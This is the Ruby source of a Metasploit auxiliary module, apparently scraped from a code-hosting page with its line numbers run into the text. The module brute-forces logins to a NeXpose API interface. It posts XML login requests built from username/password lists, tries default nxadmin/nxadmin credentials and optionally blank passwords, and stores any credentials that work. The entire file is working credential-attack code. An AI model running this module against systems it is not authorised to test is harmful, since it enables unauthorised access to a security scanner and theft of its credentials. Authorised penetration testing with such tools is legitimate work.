Path: blob/master/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::AuthBrute9include Msf::Auxiliary::Scanner1011def initialize12super(13'Name' => 'NeXpose API Interface Login Utility',14'Description' => %q{15This module simply attempts to login to a NeXpose API interface using a16specific user/pass.17},18'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],19'License' => MSF_LICENSE,20'DefaultOptions' => { 'SSL' => true }21)2223register_options(24[25Opt::RPORT(3780),26OptString.new('URI', [true, "URI for NeXpose API. Default is /api/1.1/xml", "/api/1.1/xml"]),27OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])28]29)30end3132def run_host(ip)33begin34res = send_request_cgi({35'uri' => datastore['URI'],36'method' => 'GET'37}, 25)38http_fingerprint({ :response => res })39rescue ::Rex::ConnectionError => e40vprint_error("#{datastore['URI']} - #{e.to_s}")41return42end4344if not res45vprint_error("#{datastore['URI']} - No response")46return47end48if res.code != 20049vprint_error("Did not get 200 for API XML interface")50return51end5253each_user_pass do |user, pass|54do_login(user, pass)55end56end5758def report_cred(opts)59service_data = {60address: opts[:ip],61port: opts[:port],62service_name: opts[:service_name],63protocol: 'tcp',64workspace_id: myworkspace_id65}6667credential_data = {68origin_type: :service,69module_fullname: fullname,70username: opts[:user],71private_data: opts[:password],72private_type: :password73}.merge(service_data)7475login_data = {76last_attempted_at: Time.now,77core: create_credential(credential_data),78status: Metasploit::Model::Login::Status::SUCCESSFUL,79proof: opts[:proof]80}.merge(service_data)8182create_credential_login(login_data)83end8485def do_login(user = 'nxadmin', pass = 'nxadmin')86vprint_status("Trying username:'#{user}' with password:'#{pass}'")87headers = {88'Content-Type' => 'text/xml'89}90data = '<?xml version="1.0" encoding="UTF-8"?><LoginRequest sync-id="1" user-id="' << user << '" password="' << pass << '"></LoginRequest>'91begin92res = send_request_cgi({93'encode' => true,94'uri' => datastore['URI'],95'method' => 'POST',96'headers' => headers,97'data' => data98}, 25)99rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT100print_error("HTTP Connection Failed, Aborting")101return :abort102end103104if not res105print_error("HTTP Connection Error - res, Aborting")106return :abort107end108109if res.code != 200110vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")111return :skip_pass112end113114if res.code == 200115if res.body =~ /LoginResponse.*success="1"/116print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")117118report_cred(119ip: datastore['RHOST'],120port: datastore['RPORT'],121service_name: 'nexpose',122user: user,123password: pass,124proof: res.code.to_s125)126return :next_user127end128end129vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")130return :skip_pass131end132end133134135